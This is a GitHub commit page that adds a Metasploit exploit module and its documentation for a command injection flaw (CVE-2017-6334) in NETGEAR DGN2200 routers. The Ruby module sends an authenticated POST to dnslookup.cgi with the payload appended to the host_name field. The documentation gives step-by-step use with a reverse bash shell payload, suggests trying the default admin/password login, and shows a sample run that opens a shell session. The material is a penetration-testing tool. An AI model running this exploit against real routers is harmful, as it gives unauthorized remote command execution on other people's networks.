Skip to content

Commit 4fdd77f

Browse files
author
Brent Cook
committed
Land rapid7#8051, Add Netgear DGN2200v1/v2/v3/v4 Command Injection Module
2 parents 02e4edc + a4e8cdf commit 4fdd77f

File tree

2 files changed

+194
-0
lines changed

2 files changed

+194
-0
lines changed

‎documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
## Vulnerable Application
2+
3+
NETGEAR DGN2200v1, DGN2200v2, DGN2200v3, DGN2200v4 routers
4+
5+
## Verification Steps
6+
7+
1. start `msfconsole`
8+
2. `use exploit/linux/http/netger_dnslookup_cmd_exec`
9+
3. `set RHOST 192.168.1.1` `<--- Router IP`
10+
4. `set USERNAME xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options))
11+
5. `set PASSWORD xxxx` (see [here](https://github.com/thecarterb/metasploit-framework/blob/ng_dns_cmd_exec-dev/documentation/modules/exploit/linux/http/netgear_dnslookup_cmd_exec.md#options))
12+
5. `set PAYLOAD cmd/unix/reverse_bash`
13+
6. `set LHOST 192.168.1.x`
14+
7. `set LPORT xxxx`
15+
8. `run`
16+
9. Get a session
17+
18+
## Options
19+
20+
**USERNAME**
21+
22+
The `USERNAME` option sets the username to authenticate the request with.
23+
The command injection will __not__ succeed if the username and password are not correct.
24+
The default username for NETGEAR Routers is `admin`. If you don't know the credentials,
25+
your best bet will be to use the default username and password.
26+
27+
28+
**PASSWORD**
29+
30+
The `PASSWORD`options sets the password to authenticate the request with.
31+
The command injection will __not__ succeed if the username and password are not correct.
32+
The default password for NETGEAR Routers is `password`. If you don't know the credentials,
33+
your best bet will be to use the default username and password.
34+
35+
## Advanced Options
36+
37+
**HOSTNAME**
38+
39+
The request is went with a `host_name` POST parameter. This option sets this parameter.
40+
The default is `www.google.com`. The reason for the parameter is that the file that this
41+
vulnerability is located in (`dnslookup.cgi`) actually needs a domain to resolve, or else
42+
the injection won't work.
43+
44+
45+
## Scenarios
46+
47+
What it should look like against a vulnerable router.
48+
49+
```
50+
msf > use exploit/linux/http/netgear_dnslookup_cmd_exec
51+
msf exploit(netgear_dnslookup_cmd_exec) > options
52+
53+
Module options (exploit/linux/http/netgear_dnslookup_cmd_exec):
54+
55+
Name Current Setting Required Description
56+
---- --------------- -------- -----------
57+
PASSWORD yes Password to authenticate with
58+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
59+
RHOST yes The target address
60+
RPORT 80 yes The target port (TCP)
61+
SSL false no Negotiate SSL/TLS for outgoing connections
62+
USERNAME yes Username to authenticate with
63+
VHOST no HTTP server virtual host
64+
65+
66+
Exploit target:
67+
68+
Id Name
69+
-- ----
70+
0 NETGEAR DDGN2200 Router
71+
72+
73+
msf exploit(netgear_dnslookup_cmd_exec) > set RHOST 192.168.1.1
74+
RHOST => 192.168.1.1
75+
msf exploit(netgear_dnslookup_cmd_exec) > set USERNAME admin
76+
USERNAME => admin
77+
msf exploit(netgear_dnslookup_cmd_exec) > set PASSWORD password
78+
PASSWORD => password
79+
msf exploit(netgear_dnslookup_cmd_exec) > run
80+
81+
[*] Started reverse TCP double handler on 192.168.1.9:4444
82+
[+] Router is a NETGEAR router (DGN2200v1)
83+
[*] Sending payload...
84+
[*] Command shell session 1 opened (192.168.1.9:4444 -> 192.168.1.9:53352) at 2017-03-02 19:36:47 -0500
85+
```
86+

‎modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'net/http'
7+
require "base64"
8+
9+
class MetasploitModule < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => "Netgear DGN2200 dnslookup.cgi Command Injection",
17+
'Description' => %q{
18+
This module exploits a command injection vulnerablity in NETGEAR
19+
DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request
20+
with valid login details.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Platform' => 'unix',
24+
'Author' => [
25+
'thecarterb', # Metasploit Module
26+
'SivertPL' # Vuln discovery
27+
],
28+
'DefaultTarget' => 0,
29+
'Privileged' => true,
30+
'Arch' => [ARCH_CMD],
31+
'Targets' => [
32+
[ 'NETGEAR DDGN2200 Router', { } ]
33+
],
34+
'References' =>
35+
[
36+
[ 'EDB', '41459'],
37+
[ 'CVE', '2017-6334']
38+
],
39+
'DisclosureDate' => 'Feb 25 2017',
40+
))
41+
42+
register_options(
43+
[
44+
Opt::RPORT(80),
45+
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
46+
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
47+
])
48+
49+
register_advanced_options(
50+
[
51+
OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com'])
52+
])
53+
end
54+
55+
# Requests the login page which tells us the hardware version
56+
def check
57+
res = send_request_cgi({'uri'=>'/'})
58+
if res.nil?
59+
fail_with(Failure::Unreachable, 'Connection timed out.')
60+
end
61+
# Checks for the `WWW-Authenticate` header in the response
62+
if res.headers["WWW-Authenticate"]
63+
data = res.to_s
64+
marker_one = "Basic realm=\"NETGEAR "
65+
marker_two = "\""
66+
model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
67+
vprint_status("Router is a NETGEAR router (#{model})")
68+
model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4']
69+
if model_numbers.include?(model)
70+
print_good("Router may be vulnerable (NETGEAR #{model})")
71+
return CheckCode::Detected
72+
else
73+
return CheckCode::Safe
74+
end
75+
else
76+
print_error('Router is not a NETGEAR router')
77+
return CheckCode::Safe
78+
end
79+
end
80+
81+
def exploit
82+
check
83+
84+
# Convert datastores
85+
user = datastore['USERNAME']
86+
pass = datastore['PASSWORD']
87+
hostname = datastore['HOSTNAME']
88+
89+
vprint_status("Using encoder: #{payload.encoder} ")
90+
print_status('Sending payload...')
91+
92+
vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)")
93+
94+
creds_combined = Base64.strict_encode64("#{user}:#{pass}")
95+
vprint_status("Encoded authentication: #{creds_combined}")
96+
97+
res = send_request_cgi({
98+
'uri' => '/dnslookup.cgi',
99+
'headers' => {
100+
'Authorization' => "Basic #{creds_combined}"
101+
},
102+
'vars_post' => {
103+
'lookup' => 'Lookup',
104+
'host_name' => hostname + '; ' + payload.encoded
105+
}})
106+
107+
end
108+
end

0 commit comments

Comments
 (0)